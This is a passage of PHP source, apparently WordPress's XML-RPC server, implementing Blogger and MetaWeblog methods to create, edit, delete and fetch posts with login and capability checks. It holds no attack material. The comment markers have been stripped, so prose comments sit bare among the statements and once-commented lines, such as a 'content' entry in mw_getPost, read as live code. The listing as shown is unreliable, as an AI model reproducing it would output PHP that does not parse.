* @type int $1 Post ID.
* @type string $2 Username.
* @type string $3 Password.
* @type string $4 Content
* @type int $5 Publish flag. 0 for draft, 1 for publish.
* }
* @return true|IXR_Error true when done.
public function blogger_editPost( $args ) {
$this->escape( $args );
$post_id = (int) $args[1];
$username = $args[2];
$password = $args[3];
$content = $args[4];
$publish = $args[5];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'blogger.editPost', $args, $this );
$actual_post = get_post( $post_id, ARRAY_A );
if ( ! $actual_post || 'post' !== $actual_post['post_type'] ) {
return new IXR_Error( 404, __( 'Sorry, no such post.' ) );
}
$this->escape( $actual_post );
if ( ! current_user_can( 'edit_post', $post_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
}
if ( 'publish' === $actual_post['post_status'] && ! current_user_can( 'publish_posts' ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish this post.' ) );
}
$postdata = array();
$postdata['ID'] = $actual_post['ID'];
$postdata['post_content'] = xmlrpc_removepostdata( $content );
$postdata['post_title'] = xmlrpc_getposttitle( $content );
$postdata['post_category'] = xmlrpc_getpostcategory( $content );
$postdata['post_status'] = $actual_post['post_status'];
$postdata['post_excerpt'] = $actual_post['post_excerpt'];
$postdata['post_status'] = $publish ? 'publish' : 'draft';
$result = wp_update_post( $postdata );
if ( ! $result ) {
return new IXR_Error( 500, __( 'Sorry, the post could not be updated.' ) );
}
$this->attach_uploads( $actual_post['ID'], $postdata['post_content'] );
*
* Fires after a post has been successfully updated via the XML-RPC Blogger API.
*
* @since 3.4.0
*
* @param int $post_id ID of the updated post.
* @param array $args An array of arguments for the post to edit.
do_action( 'xmlrpc_call_success_blogger_editPost', $post_id, $args ); phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
return true;
}
*
* Deletes a post.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type int $1 Post ID.
* @type string $2 Username.
* @type string $3 Password.
* }
* @return true|IXR_Error True when post is deleted.
public function blogger_deletePost( $args ) {
$this->escape( $args );
$post_id = (int) $args[1];
$username = $args[2];
$password = $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'blogger.deletePost', $args, $this );
$actual_post = get_post( $post_id, ARRAY_A );
if ( ! $actual_post || 'post' !== $actual_post['post_type'] ) {
return new IXR_Error( 404, __( 'Sorry, no such post.' ) );
}
if ( ! current_user_can( 'delete_post', $post_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this post.' ) );
}
$result = wp_delete_post( $post_id );
if ( ! $result ) {
return new IXR_Error( 500, __( 'Sorry, the post could not be deleted.' ) );
}
*
* Fires after a post has been successfully deleted via the XML-RPC Blogger API.
*
* @since 3.4.0
*
* @param int $post_id ID of the deleted post.
* @param array $args An array of arguments to delete the post.
do_action( 'xmlrpc_call_success_blogger_deletePost', $post_id, $args ); phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
return true;
}
* MetaWeblog API functions.
* Specs on wherever Dave Winer wants them to be.
*
* Creates a new post.
*
* The 'content_struct' argument must contain:
* - title
* - description
* - mt_excerpt
* - mt_text_more
* - mt_keywords
* - mt_tb_ping_urls
* - categories
*
* Also, it can optionally contain:
* - wp_slug
* - wp_password
* - wp_page_parent_id
* - wp_page_order
* - wp_author_id
* - post_status | page_status - can be 'draft', 'private', 'publish', or 'pending'
* - mt_allow_comments - can be 'open' or 'closed'
* - mt_allow_pings - can be 'open' or 'closed'
* - date_created_gmt
* - dateCreated
* - wp_post_thumbnail
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Content structure.
* @type int $4 Optional. Publish flag. 0 for draft, 1 for publish. Default 0.
* }
* @return int|IXR_Error
public function mw_newPost( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$content_struct = $args[3];
$publish = isset( $args[4] ) ? $args[4] : 0;
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'metaWeblog.newPost', $args, $this );
$page_template = '';
if ( ! empty( $content_struct['post_type'] ) ) {
if ( 'page' === $content_struct['post_type'] ) {
if ( $publish ) {
$cap = 'publish_pages';
} elseif ( isset( $content_struct['page_status'] ) && 'publish' === $content_struct['page_status'] ) {
$cap = 'publish_pages';
} else {
$cap = 'edit_pages';
}
$error_message = __( 'Sorry, you are not allowed to publish pages on this site.' );
$post_type = 'page';
if ( ! empty( $content_struct['wp_page_template'] ) ) {
$page_template = $content_struct['wp_page_template'];
}
} elseif ( 'post' === $content_struct['post_type'] ) {
if ( $publish ) {
$cap = 'publish_posts';
} elseif ( isset( $content_struct['post_status'] ) && 'publish' === $content_struct['post_status'] ) {
$cap = 'publish_posts';
} else {
$cap = 'edit_posts';
}
$error_message = __( 'Sorry, you are not allowed to publish posts on this site.' );
$post_type = 'post';
} else {
No other 'post_type' values are allowed here.
return new IXR_Error( 401, __( 'Invalid post type.' ) );
}
} else {
if ( $publish ) {
$cap = 'publish_posts';
} elseif ( isset( $content_struct['post_status'] ) && 'publish' === $content_struct['post_status'] ) {
$cap = 'publish_posts';
} else {
$cap = 'edit_posts';
}
$error_message = __( 'Sorry, you are not allowed to publish posts on this site.' );
$post_type = 'post';
}
if ( ! current_user_can( get_post_type_object( $post_type )->cap->create_posts ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish posts on this site.' ) );
}
if ( ! current_user_can( $cap ) ) {
return new IXR_Error( 401, $error_message );
}
Check for a valid post format if one was given.
if ( isset( $content_struct['wp_post_format'] ) ) {
$content_struct['wp_post_format'] = sanitize_key( $content_struct['wp_post_format'] );
if ( ! array_key_exists( $content_struct['wp_post_format'], get_post_format_strings() ) ) {
return new IXR_Error( 404, __( 'Invalid post format.' ) );
}
}
Let WordPress generate the 'post_name' (slug) unless
one has been provided.
$post_name = null;
if ( isset( $content_struct['wp_slug'] ) ) {
$post_name = $content_struct['wp_slug'];
}
Only use a password if one was given.
$post_password = '';
if ( isset( $content_struct['wp_password'] ) ) {
$post_password = $content_struct['wp_password'];
}
Only set a post parent if one was given.
$post_parent = 0;
if ( isset( $content_struct['wp_page_parent_id'] ) ) {
$post_parent = $content_struct['wp_page_parent_id'];
}
Only set the 'menu_order' if it was given.
$menu_order = 0;
if ( isset( $content_struct['wp_page_order'] ) ) {
$menu_order = $content_struct['wp_page_order'];
}
$post_author = $user->ID;
If an author id was provided then use it instead.
if ( isset( $content_struct['wp_author_id'] ) && ( $user->ID != $content_struct['wp_author_id'] ) ) {
switch ( $post_type ) {
case 'post':
if ( ! current_user_can( 'edit_others_posts' ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to create posts as this user.' ) );
}
break;
case 'page':
if ( ! current_user_can( 'edit_others_pages' ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to create pages as this user.' ) );
}
break;
default:
return new IXR_Error( 401, __( 'Invalid post type.' ) );
}
$author = get_userdata( $content_struct['wp_author_id'] );
if ( ! $author ) {
return new IXR_Error( 404, __( 'Invalid author ID.' ) );
}
$post_author = $content_struct['wp_author_id'];
}
$post_title = isset( $content_struct['title'] ) ? $content_struct['title'] : '';
$post_content = isset( $content_struct['description'] ) ? $content_struct['description'] : '';
$post_status = $publish ? 'publish' : 'draft';
if ( isset( $content_struct[ "{$post_type}_status" ] ) ) {
switch ( $content_struct[ "{$post_type}_status" ] ) {
case 'draft':
case 'pending':
case 'private':
case 'publish':
$post_status = $content_struct[ "{$post_type}_status" ];
break;
default:
Deliberably left empty.
break;
}
}
$post_excerpt = isset( $content_struct['mt_excerpt'] ) ? $content_struct['mt_excerpt'] : '';
$post_more = isset( $content_struct['mt_text_more'] ) ? $content_struct['mt_text_more'] : '';
$tags_input = isset( $content_struct['mt_keywords'] ) ? $content_struct['mt_keywords'] : array();
if ( isset( $content_struct['mt_allow_comments'] ) ) {
if ( ! is_numeric( $content_struct['mt_allow_comments'] ) ) {
switch ( $content_struct['mt_allow_comments'] ) {
case 'closed':
$comment_status = 'closed';
break;
case 'open':
$comment_status = 'open';
break;
default:
$comment_status = get_default_comment_status( $post_type );
break;
}
} else {
switch ( (int) $content_struct['mt_allow_comments'] ) {
case 0:
case 2:
$comment_status = 'closed';
break;
case 1:
$comment_status = 'open';
break;
default:
$comment_status = get_default_comment_status( $post_type );
break;
}
}
} else {
$comment_status = get_default_comment_status( $post_type );
}
if ( isset( $content_struct['mt_allow_pings'] ) ) {
if ( ! is_numeric( $content_struct['mt_allow_pings'] ) ) {
switch ( $content_struct['mt_allow_pings'] ) {
case 'closed':
$ping_status = 'closed';
break;
case 'open':
$ping_status = 'open';
break;
default:
$ping_status = get_default_comment_status( $post_type, 'pingback' );
break;
}
} else {
switch ( (int) $content_struct['mt_allow_pings'] ) {
case 0:
$ping_status = 'closed';
break;
case 1:
$ping_status = 'open';
break;
default:
$ping_status = get_default_comment_status( $post_type, 'pingback' );
break;
}
}
} else {
$ping_status = get_default_comment_status( $post_type, 'pingback' );
}
if ( $post_more ) {
$post_content .= '' . $post_more;
}
$to_ping = '';
if ( isset( $content_struct['mt_tb_ping_urls'] ) ) {
$to_ping = $content_struct['mt_tb_ping_urls'];
if ( is_array( $to_ping ) ) {
$to_ping = implode( ' ', $to_ping );
}
}
Do some timestamp voodoo.
if ( ! empty( $content_struct['date_created_gmt'] ) ) {
We know this is supposed to be GMT, so we're going to slap that Z on there by force.
$dateCreated = rtrim( $content_struct['date_created_gmt']->getIso(), 'Z' ) . 'Z';
} elseif ( ! empty( $content_struct['dateCreated'] ) ) {
$dateCreated = $content_struct['dateCreated']->getIso();
}
$post_date = '';
$post_date_gmt = '';
if ( ! empty( $dateCreated ) ) {
$post_date = iso8601_to_datetime( $dateCreated );
$post_date_gmt = iso8601_to_datetime( $dateCreated, 'gmt' );
}
$post_category = array();
if ( isset( $content_struct['categories'] ) ) {
$catnames = $content_struct['categories'];
if ( is_array( $catnames ) ) {
foreach ( $catnames as $cat ) {
$post_category[] = get_cat_ID( $cat );
}
}
}
$postdata = compact( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'to_ping', 'post_type', 'post_name', 'post_password', 'post_parent', 'menu_order', 'tags_input', 'page_template' );
$post_id = get_default_post_to_edit( $post_type, true )->ID;
$postdata['ID'] = $post_id;
Only posts can be sticky.
if ( 'post' === $post_type && isset( $content_struct['sticky'] ) ) {
$data = $postdata;
$data['sticky'] = $content_struct['sticky'];
$error = $this->_toggle_sticky( $data );
if ( $error ) {
return $error;
}
}
if ( isset( $content_struct['custom_fields'] ) ) {
$this->set_custom_fields( $post_id, $content_struct['custom_fields'] );
}
if ( isset( $content_struct['wp_post_thumbnail'] ) ) {
if ( set_post_thumbnail( $post_id, $content_struct['wp_post_thumbnail'] ) === false ) {
return new IXR_Error( 404, __( 'Invalid attachment ID.' ) );
}
unset( $content_struct['wp_post_thumbnail'] );
}
Handle enclosures.
$thisEnclosure = isset( $content_struct['enclosure'] ) ? $content_struct['enclosure'] : null;
$this->add_enclosure_if_new( $post_id, $thisEnclosure );
$this->attach_uploads( $post_id, $post_content );
* Handle post formats if assigned, value is validated earlier
* in this function.
if ( isset( $content_struct['wp_post_format'] ) ) {
set_post_format( $post_id, $content_struct['wp_post_format'] );
}
$post_id = wp_insert_post( $postdata, true );
if ( is_wp_error( $post_id ) ) {
return new IXR_Error( 500, $post_id->get_error_message() );
}
if ( ! $post_id ) {
return new IXR_Error( 500, __( 'Sorry, the post could not be created.' ) );
}
*
* Fires after a new post has been successfully created via the XML-RPC MovableType API.
*
* @since 3.4.0
*
* @param int $post_id ID of the new post.
* @param array $args An array of arguments to create the new post.
do_action( 'xmlrpc_call_success_mw_newPost', $post_id, $args ); phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
return (string) $post_id;
}
*
* Adds an enclosure to a post if it's new.
*
* @since 2.8.0
*
* @param int $post_id Post ID.
* @param array $enclosure Enclosure data.
public function add_enclosure_if_new( $post_id, $enclosure ) {
if ( is_array( $enclosure ) && isset( $enclosure['url'] ) && isset( $enclosure['length'] ) && isset( $enclosure['type'] ) ) {
$encstring = $enclosure['url'] . "\n" . $enclosure['length'] . "\n" . $enclosure['type'] . "\n";
$found = false;
$enclosures = get_post_meta( $post_id, 'enclosure' );
if ( $enclosures ) {
foreach ( $enclosures as $enc ) {
This method used to omit the trailing new line. #23219
if ( rtrim( $enc, "\n" ) === rtrim( $encstring, "\n" ) ) {
$found = true;
break;
}
}
}
if ( ! $found ) {
add_post_meta( $post_id, 'enclosure', $encstring );
}
}
}
*
* Attaches an upload to a post.
*
* @since 2.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $post_id Post ID.
* @param string $post_content Post Content for attachment.
public function attach_uploads( $post_id, $post_content ) {
global $wpdb;
Find any unattached files.
$attachments = $wpdb->get_results( "SELECT ID, guid FROM {$wpdb->posts} WHERE post_parent = '0' AND post_type = 'attachment'" );
if ( is_array( $attachments ) ) {
foreach ( $attachments as $file ) {
if ( ! empty( $file->guid ) && str_contains( $post_content, $file->guid ) ) {
$wpdb->update( $wpdb->posts, array( 'post_parent' => $post_id ), array( 'ID' => $file->ID ) );
}
}
}
}
*
* Edits a post.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Post ID.
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Content structure.
* @type int $4 Optional. Publish flag. 0 for draft, 1 for publish. Default 0.
* }
* @return true|IXR_Error True on success.
public function mw_editPost( $args ) {
$this->escape( $args );
$post_id = (int) $args[0];
$username = $args[1];
$password = $args[2];
$content_struct = $args[3];
$publish = isset( $args[4] ) ? $args[4] : 0;
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'metaWeblog.editPost', $args, $this );
$postdata = get_post( $post_id, ARRAY_A );
* If there is no post data for the give post ID, stop now and return an error.
* Otherwise a new post will be created (which was the old behavior).
if ( ! $postdata || empty( $postdata['ID'] ) ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
if ( ! current_user_can( 'edit_post', $post_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
}
Use wp.editPost to edit post types other than post and page.
if ( ! in_array( $postdata['post_type'], array( 'post', 'page' ), true ) ) {
return new IXR_Error( 401, __( 'Invalid post type.' ) );
}
Thwart attempt to change the post type.
if ( ! empty( $content_struct['post_type'] ) && ( $content_struct['post_type'] != $postdata['post_type'] ) ) {
return new IXR_Error( 401, __( 'The post type may not be changed.' ) );
}
Check for a valid post format if one was given.
if ( isset( $content_struct['wp_post_format'] ) ) {
$content_struct['wp_post_format'] = sanitize_key( $content_struct['wp_post_format'] );
if ( ! array_key_exists( $content_struct['wp_post_format'], get_post_format_strings() ) ) {
return new IXR_Error( 404, __( 'Invalid post format.' ) );
}
}
$this->escape( $postdata );
$ID = $postdata['ID'];
$post_content = $postdata['post_content'];
$post_title = $postdata['post_title'];
$post_excerpt = $postdata['post_excerpt'];
$post_password = $postdata['post_password'];
$post_parent = $postdata['post_parent'];
$post_type = $postdata['post_type'];
$menu_order = $postdata['menu_order'];
$ping_status = $postdata['ping_status'];
$comment_status = $postdata['comment_status'];
Let WordPress manage slug if none was provided.
$post_name = $postdata['post_name'];
if ( isset( $content_struct['wp_slug'] ) ) {
$post_name = $content_struct['wp_slug'];
}
Only use a password if one was given.
if ( isset( $content_struct['wp_password'] ) ) {
$post_password = $content_struct['wp_password'];
}
Only set a post parent if one was given.
if ( isset( $content_struct['wp_page_parent_id'] ) ) {
$post_parent = $content_struct['wp_page_parent_id'];
}
Only set the 'menu_order' if it was given.
if ( isset( $content_struct['wp_page_order'] ) ) {
$menu_order = $content_struct['wp_page_order'];
}
$page_template = '';
if ( ! empty( $content_struct['wp_page_template'] ) && 'page' === $post_type ) {
$page_template = $content_struct['wp_page_template'];
}
$post_author = $postdata['post_author'];
If an author id was provided then use it instead.
if ( isset( $content_struct['wp_author_id'] ) ) {
Check permissions if attempting to switch author to or from another user.
if ( $user->ID != $content_struct['wp_author_id'] || $user->ID != $post_author ) {
switch ( $post_type ) {
case 'post':
if ( ! current_user_can( 'edit_others_posts' ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to change the post author as this user.' ) );
}
break;
case 'page':
if ( ! current_user_can( 'edit_others_pages' ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to change the page author as this user.' ) );
}
break;
default:
return new IXR_Error( 401, __( 'Invalid post type.' ) );
}
$post_author = $content_struct['wp_author_id'];
}
}
if ( isset( $content_struct['mt_allow_comments'] ) ) {
if ( ! is_numeric( $content_struct['mt_allow_comments'] ) ) {
switch ( $content_struct['mt_allow_comments'] ) {
case 'closed':
$comment_status = 'closed';
break;
case 'open':
$comment_status = 'open';
break;
default:
$comment_status = get_default_comment_status( $post_type );
break;
}
} else {
switch ( (int) $content_struct['mt_allow_comments'] ) {
case 0:
case 2:
$comment_status = 'closed';
break;
case 1:
$comment_status = 'open';
break;
default:
$comment_status = get_default_comment_status( $post_type );
break;
}
}
}
if ( isset( $content_struct['mt_allow_pings'] ) ) {
if ( ! is_numeric( $content_struct['mt_allow_pings'] ) ) {
switch ( $content_struct['mt_allow_pings'] ) {
case 'closed':
$ping_status = 'closed';
break;
case 'open':
$ping_status = 'open';
break;
default:
$ping_status = get_default_comment_status( $post_type, 'pingback' );
break;
}
} else {
switch ( (int) $content_struct['mt_allow_pings'] ) {
case 0:
$ping_status = 'closed';
break;
case 1:
$ping_status = 'open';
break;
default:
$ping_status = get_default_comment_status( $post_type, 'pingback' );
break;
}
}
}
if ( isset( $content_struct['title'] ) ) {
$post_title = $content_struct['title'];
}
if ( isset( $content_struct['description'] ) ) {
$post_content = $content_struct['description'];
}
$post_category = array();
if ( isset( $content_struct['categories'] ) ) {
$catnames = $content_struct['categories'];
if ( is_array( $catnames ) ) {
foreach ( $catnames as $cat ) {
$post_category[] = get_cat_ID( $cat );
}
}
}
if ( isset( $content_struct['mt_excerpt'] ) ) {
$post_excerpt = $content_struct['mt_excerpt'];
}
$post_more = isset( $content_struct['mt_text_more'] ) ? $content_struct['mt_text_more'] : '';
$post_status = $publish ? 'publish' : 'draft';
if ( isset( $content_struct[ "{$post_type}_status" ] ) ) {
switch ( $content_struct[ "{$post_type}_status" ] ) {
case 'draft':
case 'pending':
case 'private':
case 'publish':
$post_status = $content_struct[ "{$post_type}_status" ];
break;
default:
$post_status = $publish ? 'publish' : 'draft';
break;
}
}
$tags_input = isset( $content_struct['mt_keywords'] ) ? $content_struct['mt_keywords'] : array();
if ( 'publish' === $post_status || 'private' === $post_status ) {
if ( 'page' === $post_type && ! current_user_can( 'publish_pages' ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish this page.' ) );
} elseif ( ! current_user_can( 'publish_posts' ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish this post.' ) );
}
}
if ( $post_more ) {
$post_content = $post_content . '' . $post_more;
}
$to_ping = '';
if ( isset( $content_struct['mt_tb_ping_urls'] ) ) {
$to_ping = $content_struct['mt_tb_ping_urls'];
if ( is_array( $to_ping ) ) {
$to_ping = implode( ' ', $to_ping );
}
}
Do some timestamp voodoo.
if ( ! empty( $content_struct['date_created_gmt'] ) ) {
We know this is supposed to be GMT, so we're going to slap that Z on there by force.
$dateCreated = rtrim( $content_struct['date_created_gmt']->getIso(), 'Z' ) . 'Z';
} elseif ( ! empty( $content_struct['dateCreated'] ) ) {
$dateCreated = $content_struct['dateCreated']->getIso();
}
Default to not flagging the post date to be edited unless it's intentional.
$edit_date = false;
if ( ! empty( $dateCreated ) ) {
$post_date = iso8601_to_datetime( $dateCreated );
$post_date_gmt = iso8601_to_datetime( $dateCreated, 'gmt' );
Flag the post date to be edited.
$edit_date = true;
} else {
$post_date = $postdata['post_date'];
$post_date_gmt = $postdata['post_date_gmt'];
}
We've got all the data -- post it.
$newpost = compact( 'ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'edit_date', 'post_date', 'post_date_gmt', 'to_ping', 'post_name', 'post_password', 'post_parent', 'menu_order', 'post_author', 'tags_input', 'page_template' );
$result = wp_update_post( $newpost, true );
if ( is_wp_error( $result ) ) {
return new IXR_Error( 500, $result->get_error_message() );
}
if ( ! $result ) {
return new IXR_Error( 500, __( 'Sorry, the post could not be updated.' ) );
}
Only posts can be sticky.
if ( 'post' === $post_type && isset( $content_struct['sticky'] ) ) {
$data = $newpost;
$data['sticky'] = $content_struct['sticky'];
$data['post_type'] = 'post';
$error = $this->_toggle_sticky( $data, true );
if ( $error ) {
return $error;
}
}
if ( isset( $content_struct['custom_fields'] ) ) {
$this->set_custom_fields( $post_id, $content_struct['custom_fields'] );
}
if ( isset( $content_struct['wp_post_thumbnail'] ) ) {
Empty value deletes, non-empty value adds/updates.
if ( empty( $content_struct['wp_post_thumbnail'] ) ) {
delete_post_thumbnail( $post_id );
} else {
if ( set_post_thumbnail( $post_id, $content_struct['wp_post_thumbnail'] ) === false ) {
return new IXR_Error( 404, __( 'Invalid attachment ID.' ) );
}
}
unset( $content_struct['wp_post_thumbnail'] );
}
Handle enclosures.
$thisEnclosure = isset( $content_struct['enclosure'] ) ? $content_struct['enclosure'] : null;
$this->add_enclosure_if_new( $post_id, $thisEnclosure );
$this->attach_uploads( $ID, $post_content );
Handle post formats if assigned, validation is handled earlier in this function.
if ( isset( $content_struct['wp_post_format'] ) ) {
set_post_format( $post_id, $content_struct['wp_post_format'] );
}
*
* Fires after a post has been successfully updated via the XML-RPC MovableType API.
*
* @since 3.4.0
*
* @param int $post_id ID of the updated post.
* @param array $args An array of arguments to update the post.
do_action( 'xmlrpc_call_success_mw_editPost', $post_id, $args ); phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
return true;
}
*
* Retrieves a post.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Post ID.
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error
public function mw_getPost( $args ) {
$this->escape( $args );
$post_id = (int) $args[0];
$username = $args[1];
$password = $args[2];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
$postdata = get_post( $post_id, ARRAY_A );
if ( ! $postdata ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
if ( ! current_user_can( 'edit_post', $post_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'metaWeblog.getPost', $args, $this );
if ( '' !== $postdata['post_date'] ) {
$post_date = $this->_convert_date( $postdata['post_date'] );
$post_date_gmt = $this->_convert_date_gmt( $postdata['post_date_gmt'], $postdata['post_date'] );
$post_modified = $this->_convert_date( $postdata['post_modified'] );
$post_modified_gmt = $this->_convert_date_gmt( $postdata['post_modified_gmt'], $postdata['post_modified'] );
$categories = array();
$catids = wp_get_post_categories( $post_id );
foreach ( $catids as $catid ) {
$categories[] = get_cat_name( $catid );
}
$tagnames = array();
$tags = wp_get_post_tags( $post_id );
if ( ! empty( $tags ) ) {
foreach ( $tags as $tag ) {
$tagnames[] = $tag->name;
}
$tagnames = implode( ', ', $tagnames );
} else {
$tagnames = '';
}
$post = get_extended( $postdata['post_content'] );
$link = get_permalink( $postdata['ID'] );
Get the author info.
$author = get_userdata( $postdata['post_author'] );
$allow_comments = ( 'open' === $postdata['comment_status'] ) ? 1 : 0;
$allow_pings = ( 'open' === $postdata['ping_status'] ) ? 1 : 0;
Consider future posts as published.
if ( 'future' === $postdata['post_status'] ) {
$postdata['post_status'] = 'publish';
}
Get post format.
$post_format = get_post_format( $post_id );
if ( empty( $post_format ) ) {
$post_format = 'standard';
}
$sticky = false;
if ( is_sticky( $post_id ) ) {
$sticky = true;
}
$enclosure = array();
foreach ( (array) get_post_custom( $post_id ) as $key => $val ) {
if ( 'enclosure' === $key ) {
foreach ( (array) $val as $enc ) {
$encdata = explode( "\n", $enc );
$enclosure['url'] = trim( htmlspecialchars( $encdata[0] ) );
$enclosure['length'] = (int) trim( $encdata[1] );
$enclosure['type'] = trim( $encdata[2] );
break 2;
}
}
}
$resp = array(
'dateCreated' => $post_date,
'userid' => $postdata['post_author'],
'postid' => $postdata['ID'],
'description' => $post['main'],
'title' => $postdata['post_title'],
'link' => $link,
'permaLink' => $link,
Commented out because no other tool seems to use this.
'content' => $entry['post_content'],
'categories' => $categories,
'mt_excerpt' => $postdata['post_excerpt'],
'mt_text_more' => $post['extended'],
'wp_more_text' => $post['more_text'],
'mt_allow_comments' => $allow_comments,
'mt_allow_pings' => $allow_pings,
'mt_keywords' => $tagnames,
'wp_slug' => $postdata['post_name'],
'wp_password' => $postdata['post_password'],
'wp_author_id' => (string) $author->ID,
'wp_author_display_name' => $author->display_name,
'date_created_gmt' => $post_date_gmt,
'post_status' => $postdata['post_status'],
'custom_fields' => $this->get_custom_fields( $post_id ),
'wp_post_format' => $post_format,
'sticky' => $sticky,
'date_modified' => $post_modified,
'date_modified_gmt' => $post_modified_gmt,
);
if ( ! empty( $enclosure ) ) {
$resp['enclosure'] = $enclosure;
}
$resp['wp_post_thumbnail'] = get_post_thumbnail_id( $postdata['ID'] );
return $resp;
} else {
return new IXR_Error( 404, __( 'Sorry, no such post.' ) );
}
}
*
* Retrieves list of recent posts.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Optional. Number of posts.
* }
* @return array|IXR_Error
public function mw_getRecentPosts( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
if ( isset( $args[3] ) ) {
$query = array( 'numberposts' => absint( $args[3] ) );
} else {
$query = array();
}
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'edit_posts' ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'metaWeblog.getRecentPosts', $args, $this );
$posts_list = wp_get_recent_posts( $query );
if ( ! $posts_list ) {
return array();
}
$recent_posts = array();
foreach ( $posts_list as $entry ) {
if ( ! current_user_can( 'edit_post', $entry['ID'] ) ) {
continue;
}
$post_date = $this->_convert_date( $entry['post_date'] );
$post_date_gmt = $this->_convert_date_gmt( $entry['post_date_gmt'], $entry['post_date'] );
$post_modified = $this->_convert_date( $entry['post_modified'] );
$post_modified_gmt = $this->_convert_date_gmt( $entry['post_modified_gmt'], $entry['post_modified'] );
$categories = array();
$catids = wp_get_post_categories( $entry['ID'] );
foreach ( $catids as $catid ) {
$categories[] = get_cat_name( $catid );
}
$tagnames = array();
$tags = wp_get_post_tags( $entry['ID'] );
if ( ! empty( $tags ) ) {
foreach ( $tags as $tag ) {
$tagnames[] = $tag->name;
}
$tagnames = implode( ', ', $tagnames );
} else {
$tagnames = '';
}
$post = get_extended( $entry['post_content'] );
$link = get_permalink( $entry['ID'] );
Get the post author info.
$author = get_userdata( $entry['post_author'] );
$allow_comments = ( 'open' === $entry['comment_status'] ) ? 1 : 0;
$allow_pings = ( 'open' === $entry['ping_status'] ) ? 1 : 0;
Consider future posts as published.
if ( 'future' === $entry['post_status'] ) {
$entry['post_status'] = 'publish';
}
Get post format.
$post_format = get_post_format( $entry['ID'] );
if ( empty( $post_format ) ) {
$post_format = 'standard';
}
$recent_posts[] = array(
'dateCreated' => $post_date,
'userid' => $entry['post_author'],
'postid' => (string) $entry['ID'],
'description' => $post['main'],
'title' => $entry['post_title'],
'link' => $link,
'permaLink' => $link,
Commented out because no other tool seems to use this.
'content' => $entry['post_content'],
'categories' => $categories,
'mt_excerpt' => $entry['post_excerpt'],
'mt_text_more' => $post['extended'],
'wp_more_text' => $post['more_text'],
'mt_allow_comments' => $allow_comments,
'mt_allow_pings' => $allow_pings,
'mt_keywords' => $tagnames,
'wp_slug' => $entry['post_name'],
'wp_password' => $entry['post_password'],
'wp_author_id' => (string) $author->ID,
'wp_author_display_name' => $author->display_name,
'date_created_gmt' => $post_date_gmt,
'post_status' => $entry['post_status'],
'custom_fields' => $this->get_custom_fields( $entry['ID'] ),
'wp_post_format' => $post_format,
'date_modified' => $post_modified,
'date_modified_gmt' => $post_modified_gmt,
'sticky' => ( 'post' === $entry['post_type'] && is_sticky( $entry['ID'] ) ),
'wp_post_thumbnail' => get_post_thumbnail_id( $entry['ID'] ),
);
}
return $recent_posts;
}
*
* Retrieves the list of categories on a given blog.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error
public function mw_getCategories( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'edit_posts' ) ) {
